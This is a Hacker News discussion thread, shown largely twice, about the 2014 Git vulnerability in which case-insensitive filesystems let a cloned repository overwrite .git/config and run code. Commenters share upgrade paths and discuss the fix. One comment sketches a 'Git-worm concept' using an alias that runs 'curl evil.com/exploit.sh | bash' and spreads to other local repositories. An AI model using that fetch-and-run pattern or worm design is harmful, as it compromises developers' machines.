12 ms·

Git client vulnerability announced

818 points by polemic 12y ago

califield 12y ago
I was wondering who found this vulnerability. You have to click through to the Git mailing list announcement[1]: > A big "thanks!" for bringing this issue to us goes to our friends in the Mercurial land, namely, Matt Mackall and Augie Fackler. It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor. This doesn't seem like a high priority upgrade since GitHub now blocks the vulnerability from being pushed to their servers. [1] http://article.gmane.org/gmane.linux.kernel/1853266 http://article.gmane.org/gmane.linux.kernel/1853266 edit: Upgrade ASAP!
- ngoldbaum 12y ago
  The CVE affects mercurial as well according to the 3.2.3 release notes.
  - durin42 12y ago
    Yes, I asked for a CVE ID for hg but the mitre folks never got back to me.
- tptacek 12y ago
  It's a very high priority, because there are things that transparently use Git and don't host all their repositories on Github. Update ASAP.
  - califield 12y ago
    Yeah, but typically you have a certain level of trust in your project dependencies. Adding a library to your project often means granting access to your system anyway (if the dependency contains executable code).
    - peff 12y ago
      You were and are vulnerable to malicious projects by running: git clone git://... make or anything similar, since you are running arbitrary code out of the repository. This release fixes the problem of: git clone git://... git show etc. Git cannot fix the "clone and run" problem, which is a social one. But it should be safe to run git commands to inspect the repository contents.
      - comex 12y ago
        I don't think the GP should be downvoted. What you say is exactly correct - however - I can't even think of a time I've git cloned some piece of code and not proceeded to run some code from it at some point, typically on the same machine. I download code for the purpose of using it, and while I could hypothetically inspect the entire repository for malicious code, I don't think I'm unusual in not doing that on a regular basis. I guess maybe Docker/Vagrant/etc. users don't normally run code directly on their development machine, so it can be high priority for them. But as someone who doesn't use these tools (not a web developer), for me the vulnerability is extremely low priority.
        peff 12y ago
        I think we are actually agreeing. I think it is important to have this Git fix, because it lets people be careful if they choose. But in practice most people are _not_ careful, and will happily clone and run code without inspecting it (or pipe curl to bash!). It's almost impossible to do otherwise, as there are only so many hours in the day. Ultimately I think we are mostly protected by the fact that this kind of attack is simply not all that common. And if it were done in a very widespread way, somebody would probably notice and the repo would come under scrutiny. It would probably be very effective as a directed attack against a small number of people, especially if the code you executed was sneaky (i.e., install a rootkit, not `rm -rf /`).
    - Bahamut 12y ago
      All it takes is one dependency getting infected to ruin your day (or more).
  - jackmaney 12y ago
    Yes. This. I work in a fairly Enterprisey company that uses git as their VCS. I'm just hoping that IT is relatively calm about this and just pushes out updates/nags people about upgrading their git client.
  - jzwinck 12y ago
    Things which transparently use Git on Windows seem likely to bundle their own copy of Git in their installer. I don't know of specific examples, but if this happens it may be trickier for average people to stay safe. Worse, I don't know how to generate a list of such programs.
- indygreg2 12y ago
  More back story: https://twitter.com/indygreg/status/545701974671233024 https://twitter.com/indygreg/status/545701974671233024
tlarkworthy 12y ago
> We have also completed an automated scan of all existing content on github.com to look for malicious content that might have been pushed to our site before this vulnerability was discovered did they find any problems? The post doesn't say...
- ethomson 12y ago
  Vicent Marti (from GitHub) states: "In case it's not obvious from the post: There are no malicious repos in @github and they can't be pushed anymore. Update your Git anyway." https://twitter.com/vmg/status/545693913491984385 https://twitter.com/vmg/status/545693913491984385
  - mikeash 12y ago
    Which still doesn't say! That says there aren't any, but is silent on whether there were any. It's probably safe to assume that this is just clumsy wording and he meant to say that the scan found nothing, but it could also be a careful attempt at trying to sound like it says more than it really does.
- peff 12y ago
  We found 10 repositories which would have been blocked on push with the new restrictions. None of them were found to be malicious.
  - ImJasonH 12y ago
    Do those 10 repos include private repos? What is GitHub's policy about scanning/inspecting private repos in cases like this?
FiloSottile 12y ago
Short panic summary: your git/hg remotes can get code execution on your machine when you clone/pull if you are on OSX or Windows. Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone... There's an analogous vulnerability in Mercurial. Update, then run git --version and make sure it's one of v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-parties. EDIT: right, no "or", what are you doing reading this instead of updating?
- tptacek 12y ago
  Lose the /or. Update no matter what.
  - fizzbatter 12y ago
    Well, to be clear, this only affects Mac and Windows, correct? (Technically any case changing os) So, update no matter what, unless you're not on an affected system? (this is a question, not a statement)
    - deleted 12y ago
      [deleted]
    - keeperofdakeys 12y ago
      As mentioned in the mailing list announcement (http://article.gmane.org/gmane.linux.kernel/1853266 http://article.gmane.org/gmane.linux.kernel/1853266), if you run a git host on linux, you can still spread the dangerous commit.
    - deleted 12y ago
      [deleted]
    - sp332 12y ago
amatix 12y ago
Git-worm concept: * create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored" * exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked) * be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig
- xg15 12y ago
  You don't even need to alias a typo - if the vulnerability allows to overwrite arbitrary files in the .git-directory, which is what it sounds like, you can just add a book that will be executed on each commit/fetch/push/etc... So yes, this is dangerous.
  - xg15 12y ago
    ... hook, not book...
necubi 12y ago
Homebrew just updated (https://github.com/Homebrew/homebrew/pull/35105 https://github.com/Homebrew/homebrew/pull/35105), so Homebrew users should be covered by brew update && brew upgrade git
- tptacek 12y ago
  Make sure you're not using Apple Git (/usr/bin/git); I renamed mine.
  - cpach 12y ago
    Gah. Incidents like this makes me frustrated OS X doesn’t have a solid package manager like APT.
    - saidajigumi 12y ago
      Is package management really at issue here? For Apple supplied software, I think it really boils down to the same thing as other distros/OSes: timeliness of security updates. If Apple isn't able to spin out incremental security updates as quickly as other distributions, I'd say that process issue is the real problem. Honestly, there's also something to be said for two-tier package management, ala OS X with Homebrew. Self-contained third party apps get a more managable space of base system profiles to target, and the installation UX can be as simple as drag/drop/app works. Us "special needs" users can then layer on and manage more esoteric and/or cutting-edge tools as needed with a full package manager. Heck, I was really glad to see Linuxbrew finally come to fruition for this very same reason. Have your cake and roll a newer-than-distro version of your tools too!
      - lugg 12y ago
        >Honestly, there's also something to be said for two-tier package management, ala OS X with Homebrew Agreed, I really like the sound of that. Been aching for some time to have a stable base system like deb stable / slackware and then have my development toolchain specifically but other uses might surface / need bleeding edge.
dshankar 12y ago
Where can I find fixed git-related binaries without having to build from source myself? (Sorry, I'm lazy)
- krschultz 12y ago
  On Mac OS X, from Homebrew. The bug doesn't seem to affect Linux (most Linux file systems are case sensitive). I'm not sure about for Windows.
  - ethomson 12y ago
    Definitely affects Windows. Git for Windows users should update to 1.9.5 immediately. https://msysgit.github.io/ https://msysgit.github.io/
- dshankar 12y ago
  Wow downvoting because I ask for binaries instead of source? Majority of people reading this want a fast, immediate solution from a trustworthy source. edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries
  - codereflection 12y ago
    git-scm does not seem to be a reliable source anymore. For Windows, go directly here: https://msysgit.github.io/ https://msysgit.github.io/
  - deleted 12y ago
    [deleted]
    - dshankar 12y ago
      Please point to git binaries within the Github.com blog post. There are binaries for Github for Mac/Win, not git proper. I only found source code tarballs on Kernel.org, not binaries.
baldfat 12y ago
>In addition, the following updated versions of Git address this vulnerability: Not everyone has the patch. The Git core team has announced maintenance releases for all current versions of Git (v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, and v2.2.1). I have one Windows machine and went to update http://git-scm.com/download/win http://git-scm.com/download/win (preview Version 1.9.4) It was released 3 months ago, on 2014-09-29. https://msysgit.github.io https://msysgit.github.io (Version 1.9.5 preview BUT no documentation that this is for a security fix) Doesn't seem like I can update my git client
- taspeotis 12y ago
  One thing I want to know but haven't gotten around to figuring out who to ask is why msysgit is 1.x instead of 2.x? I saw some mention on their Github issue tracker that msysgit had been rebased on top of 2.x but the downloads don't seem to be updated. I figured I could build from source if I really wanted and the downloads would be updated eventually but ... they have not.
- akaBruce 12y ago
  For whatever it's worth, I just downloaded 1.9.5 for Windows from https://msysgit.github.io/ https://msysgit.github.io/. While the release notes don't mention "CVE-2014-9390" explicitly, it does say this: Changes since Git-1.9.4-preview20140929 New Features ... Bugfixes * Safeguards against bogus file names on NTFS. Edit: Actually, there it is on their git hub releases page. https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-preview20141217 https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-pr...
ethomson 12y ago
Visual Studio is affected by this; Microsoft has released patches for Visual Studio 2013, Visual Studio 2013 Update 4 and an updated Git Provider for Visual Studio 2012. Users of Visual Studio are urged to apply an update. Brian Harry's blog has more information and links to download URLs for the updates: http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-vulnerability-with-git-config.aspx http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-vulner...
sillysaurus3 12y ago
Should programs periodically check for critical security fixes, and then refuse to run if the current version is affected? It seems like there are a lot of people who don't really pay attention to social media or other security alert channels, who won't have a clue about the extent of this vulnerability. I'm sure they'd update if they knew "if I clone a malicious repo, I'm toast," but there's no way to inform them except by HN/Twitter/Reddit/mailing lists. One could argue that they get what they deserve for being uninformed, but it seems like the ethical obligation might actually be on us to develop tools that ping home and ask whether it needs to stop working until it's updated. Actually, I'm not sure it's ethical to embed such shutdown behavior into a tool that needs to be reliable. Maybe just a scary warning message like "This version is critically vulnerable, update immediately" every time the program runs would suffice.
- thomasfromcdnjs 12y ago
  Coming from NPM land, sounds like a nice module to build.
- akerl_ 12y ago
  I'm not sure how I feel about programs phoning home like that. I tolerate it with apps, but command line tools ought to be doing their stated function when run.
  - semi-extrinsic 12y ago
    There was a discussion of this a few weeks ago on the mailinglist of a scientific software project I use. The people were very clearly divided into the "Flash does it, so it's ok" and "omg no, think of the user privacy" camps, it was quite interesting.
    - akerl_ 12y ago
      I think I'm much more ok with background things upgrading in the background. For instance: I never open a new browser tab and think "hmmm, lets launch a Flash process", it's just there, ready to respond when needed. So it isn't shocking to find that it polls for updates and applies them. By contrast, git is a tool that I manually invoke on the command line, and when the process terminates it's done. Having that phone home at runtime feels more invasive.
deleted 12y ago
[deleted]
avar 12y ago
Link to the patch that fixed it: https://github.com/git/git/commit/cc2fc7c https://github.com/git/git/commit/cc2fc7c
- ethomson 12y ago
  It's more than just that. There are a number of additional checks that are performed for the benefit of various insane filesystems like HFS and NTFS. For example: HFS has several codepoints that are ignored for the purposes of name comparison; for example, U+200C. We need to protect against those, too, or else you could have ".git<U+200C>/config" in your repository that maps to ".git/config".
  - jzwinck 12y ago
    Given that NTFS is closed-source, can we know if these protections are actually sufficient now?
thomasfromcdnjs 12y ago
"Otherwise, an unsuspecting user can run git pull from an innocuous-looking-but-malicious repository and have the meta-information in her repository overwritten, or executable hooks installed by the owner of that repository she pulled from (i.e. an attacker)." [1] You could pull down git hooks that root your box, pretty intense hack, update now! 1. http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-21...
thomasfromcdnjs 12y ago
"or executable hooks installed by the owner of that repository she pulled from (i.e. an attacker)." You could pull down git hooks that root your box, pretty intense hack, update now!
sumnulu 12y ago
Also case insensitive file systems has other problems with git, if your team has a sensitive one. Mac comes with defaulted to insensitive and that is not good.
donutz 12y ago
There does not appear to be an updated version of git for cygwin just yet.
jazzychad 12y ago
If you don't want to use homebrew on mac, here is the list of commands I used to upgrade: https://gist.github.com/jazzychad/07c0c6da5709202e8106 https://gist.github.com/jazzychad/07c0c6da5709202e8106
- numlocked 12y ago
  This was very helpful and clearly documented. Thanks! Also, your github profile picture is amazing.
- iamdave 12y ago
  Beautiful, cheers for this!
- unspecified 12y ago
  Thanks for this. Might want to move the original /usr/bin/git out of the way, rather than outright deleting it, juuuuust in case you end up needing the original binary.
  - jazzychad 12y ago
    /usr/bin/git is usually a soft symlink, so the original binary is still there when you rm the synlink. You can see the actual location by doing ls -al /usr/bin/git If it's not in fact a symlink then yes you should probably rename it to preserve it.
    - Demiurge 12y ago
      Yosemite, mine is not
- hwang89 12y ago
  Worked for me.
- marquis 12y ago
  Thanks - really appreciate the signature checking phase. To make sure I had a working git in case all went wrong I added: sudo mv /usr/bin/git /usr/bin/git2 before the symlink.
jszymborski 12y ago
Anybody have an idea when SourceTree will have an update?
- bshimmin 12y ago
  I don't know - but in SourceTree's preferences, you can tell it to "Use System Git". On a Mac, if your system's git isn't what it ought to be, then do `brew install git` (assuming you have Homebrew installed) and make it use that git rather than the Apple one.
- clumsysmurf 12y ago
  They updated to 2.0.4 today, but it crashed right away. I'm on OS X 10.7. Now their support site is down.
praseodym 12y ago
Apple has fixed this in Xcode 6.2 beta 3: http://support.apple.com/en-us/HT204147 http://support.apple.com/en-us/HT204147
- 0x0 12y ago
  That's not super helpful as long as Apple still forbids app store submissions built with beta tools.
percept 12y ago
https://www.kernel.org/pub/software/scm/git/ https://www.kernel.org/pub/software/scm/git/
nodesocket 12y ago
I am running OSX Yosemite. ➜ ~ git --version git version 1.9.3 (Apple Git-50) When I navigate to http://git-scm.com/download/mac http://git-scm.com/download/mac it downloads 2.0.1 which was released on 6/29/14. How can I upgrade to 1.9.5?
- ethomson 12y ago
  Apple has updated this in Xcode 6.2 beta 3: http://support.apple.com/en-us/HT204147 http://support.apple.com/en-us/HT204147
  - waxjar 12y ago
    Seems like the Command Line Tools (without XCode), which also ships git, have not been updated (yet). Rather annoying.
    - lloydde 12y ago
      I'm with you. I was really hoping today we'd see a fix in the Command Line Tools and existing XCode versions. How is Apple including the fix only in the next version (beta) a sufficient response?
conorgil145 12y ago
Any Ubuntu users who are looking to update as a precaution might find this link to the "Ubuntu Git Maintainers" ppa useful: https://launchpad.net/~git-core/+archive/ubuntu/ppa https://launchpad.net/~git-core/+archive/ubuntu/ppa also: https://stackoverflow.com/questions/19109542/installing-latest-version-of-git-in-ubuntu https://stackoverflow.com/questions/19109542/installing-late...
vog 12y ago
Ouch! And I thought the OpenBSD people were paranoid for sticking with CVS. (because Git is too bloated and complex in their view, so they weren't able to review it thoroughly, which would have been the only way for them to trust it.) I always get a strange, uneasy feeiling when the tin foil hats turn out to be right. I wonder if they are right on GPG, too. For those who don't know this: The OpenBSD people refuse to sign their releases with that "far too complex" GPG tool, but created their own lightweight "signify" tool instead. [1] [1] http://www.tedunangst.com/flak/post/signify http://www.tedunangst.com/flak/post/signify
- the_af 12y ago
  I agree Git can be complex, but... CVS? Really? I do not miss non-atomic commits at all.
  - mathrawka 12y ago
    The point is that for OpenBSD that security trumps anything else, including usability of developer tools.
    - the_af 12y ago
      Yes, I get that. It's a worthy goal, too. But I still think software must also be usable in addition to secure.
- icebraining 12y ago
  CVS has had multiple arbitrary code execution vulnerabilities, though.
  - gbog 12y ago
    Yes, but the point is that vulnerabilities in cvs are likely very few as of today, because the code is old and simple, and have been used a lot.
    - 12y ago
mholt 12y ago
> Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem. What about case-sensitive Mac file systems, like mine? I would imagine they are not vulnerable and that the author just overlooked this possibility in the article...
userbinator 12y ago
I think here is a good argument for not using case-insensitive filesystems - because every single filename comparison gets affected and it can lead to vulnerabilities like this (I wonder what others are out there...) Case-insensitive initially feels like a good idea to some, but I think it's a good example of "trying to do too much" and often in subtle ways that even the user might not fully understand - the definition of "case" changes with locale, for instance. In contrast, with filenames that are treated as dumb and simple, plain sequences of bytes that just cannot contain certain characters (and thus compared accordingly for equality, bit-by-bit), there is no need to even consider the concept of "case", and no ambiguity: It either matches exactly or doesn't match. (I am aware of all the - quite frankly ridiculous - complexity of Unicode characters that are visually identical and "should be treated as such for the purposes of comparison", but I think that's another example of excess complexity leading to things like directory-traversal attacks.)
- thedufer 12y ago
  > Unicode characters that are visually identical This was actually a further bug, reported as part of the same CVE - you could also overwrite .git/config by adding any of a number of zero-width Unicode characters that many filesystems ignore when checking for filename equality (but string comparison doesn't, of course).
  - userbinator 12y ago
    http://en.m.wikipedia.org/wiki/Unicode_equivalence http://en.m.wikipedia.org/wiki/Unicode_equivalence http://en.m.wikipedia.org/wiki/IDN_homograph_attack http://en.m.wikipedia.org/wiki/IDN_homograph_attack What seems really scary about this is that even Unicode has several different ways of comparing strings, and the correct one depends on the exact situation, so the common response of "just use a library" doesn't work; for example, if a user were searching for a filename it might make sense for full-width characters to compare equal to half-width ones, but not if opening a file where you wouldn't want e.g. the full width version of /etc/passwd to be equivalent to the half-width one.
    - 12y ago
yourad_io 12y ago
Isn't it pretty nonchalant that git-scm.com doesn't have a huge red banner advising people to "pay attention and update, or face the pwn"? Maybe alert banners aren't in the git-scm.com css template. edit: Is it that I'm on Linux? I changed a few UAs but the download image still reads "Downloads for Linux".
joshkpeterson 12y ago
reposting OSX installer for visibility http://sourceforge.net/projects/git-osx-installer/files/latest/download http://sourceforge.net/projects/git-osx-installer/files/late...
pcl 12y ago
Meanwhile, this would have been a great way to share commit hooks.
Xylakant 12y ago
The download page at http://git-scm.com/download/mac http://git-scm.com/download/mac still offers 2.0.1 even though the start page announces 2.2.1.
- asmosoinio 12y ago
  Same for me. But http://git-scm.com/ http://git-scm.com/ offers 2.2.1
  - beeglebug 12y ago
    It looks like 2.2.1 is the latest source code version, but the builds for Windows and Mac are slightly behind. The windows download is 1.9.5, but was built 13 hours ago and has the fix.
plopper823 12y ago
Is github desktop app using a custom version of git ? Having update to git 1.9.5 and the github application to 2.6.5 i still got "git --version" to return 1.9.4 for mysisgit in git shell. Is this normal ?
highCs 12y ago
Here are the git clients: http://git-scm.com/downloads http://git-scm.com/downloads
vital101 12y ago
For those using HomeBrew on OSX: brew update; brew upgrade git; Then, make sure that HomeBrew versions are taking precedence: echo export PATH='/usr/local/bin:$PATH' >> ~/.bash_profile
billpg 12y ago
What happens if the folder is named .GİT or .gıt in a Turkish locale?
- bobbykjack 12y ago
  (Because http://msdn.microsoft.com/en-us/library/ms973919.aspx#stringsinnet20_topic5 http://msdn.microsoft.com/en-us/library/ms973919.aspx#string... for anyone wondering 'Why Turkish?')

818 points by polemic 12y ago

I was wondering who found this vulnerability. You have to click through to the Git mailing list announcement[1]: > A big "thanks!" for bringing this issue to us goes to our friends in the Mercurial land, namely, Matt Mackall and Augie Fackler. It'd be interesting to hear how they came across this. Matt is the leader of the Mercurial project and Augie is a Mercurial core contributor. This doesn't seem like a high priority upgrade since GitHub now blocks the vulnerability from being pushed to their servers. [1] http://article.gmane.org/gmane.linux.kernel/1853266 http://article.gmane.org/gmane.linux.kernel/1853266 edit: Upgrade ASAP!

ngoldbaum 12y ago
The CVE affects mercurial as well according to the 3.2.3 release notes.
- durin42 12y ago
  Yes, I asked for a CVE ID for hg but the mitre folks never got back to me.
tptacek 12y ago
It's a very high priority, because there are things that transparently use Git and don't host all their repositories on Github. Update ASAP.
- califield 12y ago
  Yeah, but typically you have a certain level of trust in your project dependencies. Adding a library to your project often means granting access to your system anyway (if the dependency contains executable code).
  - peff 12y ago
    You were and are vulnerable to malicious projects by running: git clone git://... make or anything similar, since you are running arbitrary code out of the repository. This release fixes the problem of: git clone git://... git show etc. Git cannot fix the "clone and run" problem, which is a social one. But it should be safe to run git commands to inspect the repository contents.
    - comex 12y ago
      I don't think the GP should be downvoted. What you say is exactly correct - however - I can't even think of a time I've git cloned some piece of code and not proceeded to run some code from it at some point, typically on the same machine. I download code for the purpose of using it, and while I could hypothetically inspect the entire repository for malicious code, I don't think I'm unusual in not doing that on a regular basis. I guess maybe Docker/Vagrant/etc. users don't normally run code directly on their development machine, so it can be high priority for them. But as someone who doesn't use these tools (not a web developer), for me the vulnerability is extremely low priority.
      - peff 12y ago
        I think we are actually agreeing. I think it is important to have this Git fix, because it lets people be careful if they choose. But in practice most people are _not_ careful, and will happily clone and run code without inspecting it (or pipe curl to bash!). It's almost impossible to do otherwise, as there are only so many hours in the day. Ultimately I think we are mostly protected by the fact that this kind of attack is simply not all that common. And if it were done in a very widespread way, somebody would probably notice and the repo would come under scrutiny. It would probably be very effective as a directed attack against a small number of people, especially if the code you executed was sneaky (i.e., install a rootkit, not `rm -rf /`).
  - Bahamut 12y ago
    All it takes is one dependency getting infected to ruin your day (or more).
- jackmaney 12y ago
  Yes. This. I work in a fairly Enterprisey company that uses git as their VCS. I'm just hoping that IT is relatively calm about this and just pushes out updates/nags people about upgrading their git client.
- jzwinck 12y ago
  Things which transparently use Git on Windows seem likely to bundle their own copy of Git in their installer. I don't know of specific examples, but if this happens it may be trickier for average people to stay safe. Worse, I don't know how to generate a list of such programs.
indygreg2 12y ago
More back story: https://twitter.com/indygreg/status/545701974671233024 https://twitter.com/indygreg/status/545701974671233024

tlarkworthy 12y ago

> We have also completed an automated scan of all existing content on github.com to look for malicious content that might have been pushed to our site before this vulnerability was discovered did they find any problems? The post doesn't say...

ethomson 12y ago
Vicent Marti (from GitHub) states: "In case it's not obvious from the post: There are no malicious repos in @github and they can't be pushed anymore. Update your Git anyway." https://twitter.com/vmg/status/545693913491984385 https://twitter.com/vmg/status/545693913491984385
- mikeash 12y ago
  Which still doesn't say! That says there aren't any, but is silent on whether there were any. It's probably safe to assume that this is just clumsy wording and he meant to say that the scan found nothing, but it could also be a careful attempt at trying to sound like it says more than it really does.
peff 12y ago
We found 10 repositories which would have been blocked on push with the new restrictions. None of them were found to be malicious.
- ImJasonH 12y ago
  Do those 10 repos include private repos? What is GitHub's policy about scanning/inspecting private repos in cases like this?

FiloSottile 12y ago

Short panic summary: your git/hg remotes can get code execution on your machine when you clone/pull if you are on OSX or Windows. Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain events/as aliases, so it leads to code execution. This is a risk when you get a tree from a third party, so on pull/fetch+checkout/clone... There's an analogous vulnerability in Mercurial. Update, then run git --version and make sure it's one of v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, or v2.2.1. And be careful when pulling/cloning from third-parties. EDIT: right, no "or", what are you doing reading this instead of updating?

tptacek 12y ago
Lose the /or. Update no matter what.
- fizzbatter 12y ago
  Well, to be clear, this only affects Mac and Windows, correct? (Technically any case changing os) So, update no matter what, unless you're not on an affected system? (this is a question, not a statement)
  - deleted 12y ago
    [deleted]
  - keeperofdakeys 12y ago
    As mentioned in the mailing list announcement (http://article.gmane.org/gmane.linux.kernel/1853266 http://article.gmane.org/gmane.linux.kernel/1853266), if you run a git host on linux, you can still spread the dangerous commit.
  - deleted 12y ago
    [deleted]
  - sp332 12y ago

amatix 12y ago

Git-worm concept: * create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored" * exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked) * be innocuous-looking via git config's "include", so the bad aliases aren't obviously visible looking at ~/.gitconfig

xg15 12y ago
You don't even need to alias a typo - if the vulnerability allows to overwrite arbitrary files in the .git-directory, which is what it sounds like, you can just add a book that will be executed on each commit/fetch/push/etc... So yes, this is dangerous.
- xg15 12y ago
  ... hook, not book...

necubi 12y ago

Homebrew just updated (https://github.com/Homebrew/homebrew/pull/35105 https://github.com/Homebrew/homebrew/pull/35105), so Homebrew users should be covered by brew update && brew upgrade git

tptacek 12y ago
Make sure you're not using Apple Git (/usr/bin/git); I renamed mine.
- cpach 12y ago
  Gah. Incidents like this makes me frustrated OS X doesn’t have a solid package manager like APT.
  - saidajigumi 12y ago
    Is package management really at issue here? For Apple supplied software, I think it really boils down to the same thing as other distros/OSes: timeliness of security updates. If Apple isn't able to spin out incremental security updates as quickly as other distributions, I'd say that process issue is the real problem. Honestly, there's also something to be said for two-tier package management, ala OS X with Homebrew. Self-contained third party apps get a more managable space of base system profiles to target, and the installation UX can be as simple as drag/drop/app works. Us "special needs" users can then layer on and manage more esoteric and/or cutting-edge tools as needed with a full package manager. Heck, I was really glad to see Linuxbrew finally come to fruition for this very same reason. Have your cake and roll a newer-than-distro version of your tools too!
    - lugg 12y ago
      >Honestly, there's also something to be said for two-tier package management, ala OS X with Homebrew Agreed, I really like the sound of that. Been aching for some time to have a stable base system like deb stable / slackware and then have my development toolchain specifically but other uses might surface / need bleeding edge.

dshankar 12y ago

Where can I find fixed git-related binaries without having to build from source myself? (Sorry, I'm lazy)

krschultz 12y ago
On Mac OS X, from Homebrew. The bug doesn't seem to affect Linux (most Linux file systems are case sensitive). I'm not sure about for Windows.
- ethomson 12y ago
  Definitely affects Windows. Git for Windows users should update to 1.9.5 immediately. https://msysgit.github.io/ https://msysgit.github.io/
dshankar 12y ago
Wow downvoting because I ask for binaries instead of source? Majority of people reading this want a fast, immediate solution from a trustworthy source. edit: obvious places still haven't updated. git-scm still provides 6-month-old binaries
- codereflection 12y ago
  git-scm does not seem to be a reliable source anymore. For Windows, go directly here: https://msysgit.github.io/ https://msysgit.github.io/
- deleted 12y ago
  [deleted]
  - dshankar 12y ago
    Please point to git binaries within the Github.com blog post. There are binaries for Github for Mac/Win, not git proper. I only found source code tarballs on Kernel.org, not binaries.

baldfat 12y ago

>In addition, the following updated versions of Git address this vulnerability: Not everyone has the patch. The Git core team has announced maintenance releases for all current versions of Git (v1.8.5.6, v1.9.5, v2.0.5, v2.1.4, and v2.2.1). I have one Windows machine and went to update http://git-scm.com/download/win http://git-scm.com/download/win (preview Version 1.9.4) It was released 3 months ago, on 2014-09-29. https://msysgit.github.io https://msysgit.github.io (Version 1.9.5 preview BUT no documentation that this is for a security fix) Doesn't seem like I can update my git client

taspeotis 12y ago
One thing I want to know but haven't gotten around to figuring out who to ask is why msysgit is 1.x instead of 2.x? I saw some mention on their Github issue tracker that msysgit had been rebased on top of 2.x but the downloads don't seem to be updated. I figured I could build from source if I really wanted and the downloads would be updated eventually but ... they have not.
akaBruce 12y ago
For whatever it's worth, I just downloaded 1.9.5 for Windows from https://msysgit.github.io/ https://msysgit.github.io/. While the release notes don't mention "CVE-2014-9390" explicitly, it does say this: Changes since Git-1.9.4-preview20140929 New Features ... Bugfixes * Safeguards against bogus file names on NTFS. Edit: Actually, there it is on their git hub releases page. https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-preview20141217 https://github.com/msysgit/msysgit/releases/tag/Git-1.9.5-pr...

ethomson 12y ago

Visual Studio is affected by this; Microsoft has released patches for Visual Studio 2013, Visual Studio 2013 Update 4 and an updated Git Provider for Visual Studio 2012. Users of Visual Studio are urged to apply an update. Brian Harry's blog has more information and links to download URLs for the updates: http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-vulnerability-with-git-config.aspx http://blogs.msdn.com/b/bharry/archive/2014/12/18/git-vulner...

sillysaurus3 12y ago

Should programs periodically check for critical security fixes, and then refuse to run if the current version is affected? It seems like there are a lot of people who don't really pay attention to social media or other security alert channels, who won't have a clue about the extent of this vulnerability. I'm sure they'd update if they knew "if I clone a malicious repo, I'm toast," but there's no way to inform them except by HN/Twitter/Reddit/mailing lists. One could argue that they get what they deserve for being uninformed, but it seems like the ethical obligation might actually be on us to develop tools that ping home and ask whether it needs to stop working until it's updated. Actually, I'm not sure it's ethical to embed such shutdown behavior into a tool that needs to be reliable. Maybe just a scary warning message like "This version is critically vulnerable, update immediately" every time the program runs would suffice.

thomasfromcdnjs 12y ago
Coming from NPM land, sounds like a nice module to build.
akerl_ 12y ago
I'm not sure how I feel about programs phoning home like that. I tolerate it with apps, but command line tools ought to be doing their stated function when run.
- semi-extrinsic 12y ago
  There was a discussion of this a few weeks ago on the mailinglist of a scientific software project I use. The people were very clearly divided into the "Flash does it, so it's ok" and "omg no, think of the user privacy" camps, it was quite interesting.
  - akerl_ 12y ago
    I think I'm much more ok with background things upgrading in the background. For instance: I never open a new browser tab and think "hmmm, lets launch a Flash process", it's just there, ready to respond when needed. So it isn't shocking to find that it polls for updates and applies them. By contrast, git is a tool that I manually invoke on the command line, and when the process terminates it's done. Having that phone home at runtime feels more invasive.

deleted 12y ago

[deleted]

avar 12y ago

Link to the patch that fixed it: https://github.com/git/git/commit/cc2fc7c https://github.com/git/git/commit/cc2fc7c

ethomson 12y ago
It's more than just that. There are a number of additional checks that are performed for the benefit of various insane filesystems like HFS and NTFS. For example: HFS has several codepoints that are ignored for the purposes of name comparison; for example, U+200C. We need to protect against those, too, or else you could have ".git<U+200C>/config" in your repository that maps to ".git/config".
- jzwinck 12y ago
  Given that NTFS is closed-source, can we know if these protections are actually sufficient now?

thomasfromcdnjs 12y ago

"Otherwise, an unsuspecting user can run git pull from an innocuous-looking-but-malicious repository and have the meta-information in her repository overwritten, or executable hooks installed by the owner of that repository she pulled from (i.e. an attacker)." [1] You could pull down git hooks that root your box, pretty intense hack, update now! 1. http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-21...

thomasfromcdnjs 12y ago

"or executable hooks installed by the owner of that repository she pulled from (i.e. an attacker)." You could pull down git hooks that root your box, pretty intense hack, update now!

sumnulu 12y ago

Also case insensitive file systems has other problems with git, if your team has a sensitive one. Mac comes with defaulted to insensitive and that is not good.

donutz 12y ago

There does not appear to be an updated version of git for cygwin just yet.

jazzychad 12y ago

If you don't want to use homebrew on mac, here is the list of commands I used to upgrade: https://gist.github.com/jazzychad/07c0c6da5709202e8106 https://gist.github.com/jazzychad/07c0c6da5709202e8106

numlocked 12y ago
This was very helpful and clearly documented. Thanks! Also, your github profile picture is amazing.
iamdave 12y ago
Beautiful, cheers for this!
unspecified 12y ago
Thanks for this. Might want to move the original /usr/bin/git out of the way, rather than outright deleting it, juuuuust in case you end up needing the original binary.
- jazzychad 12y ago
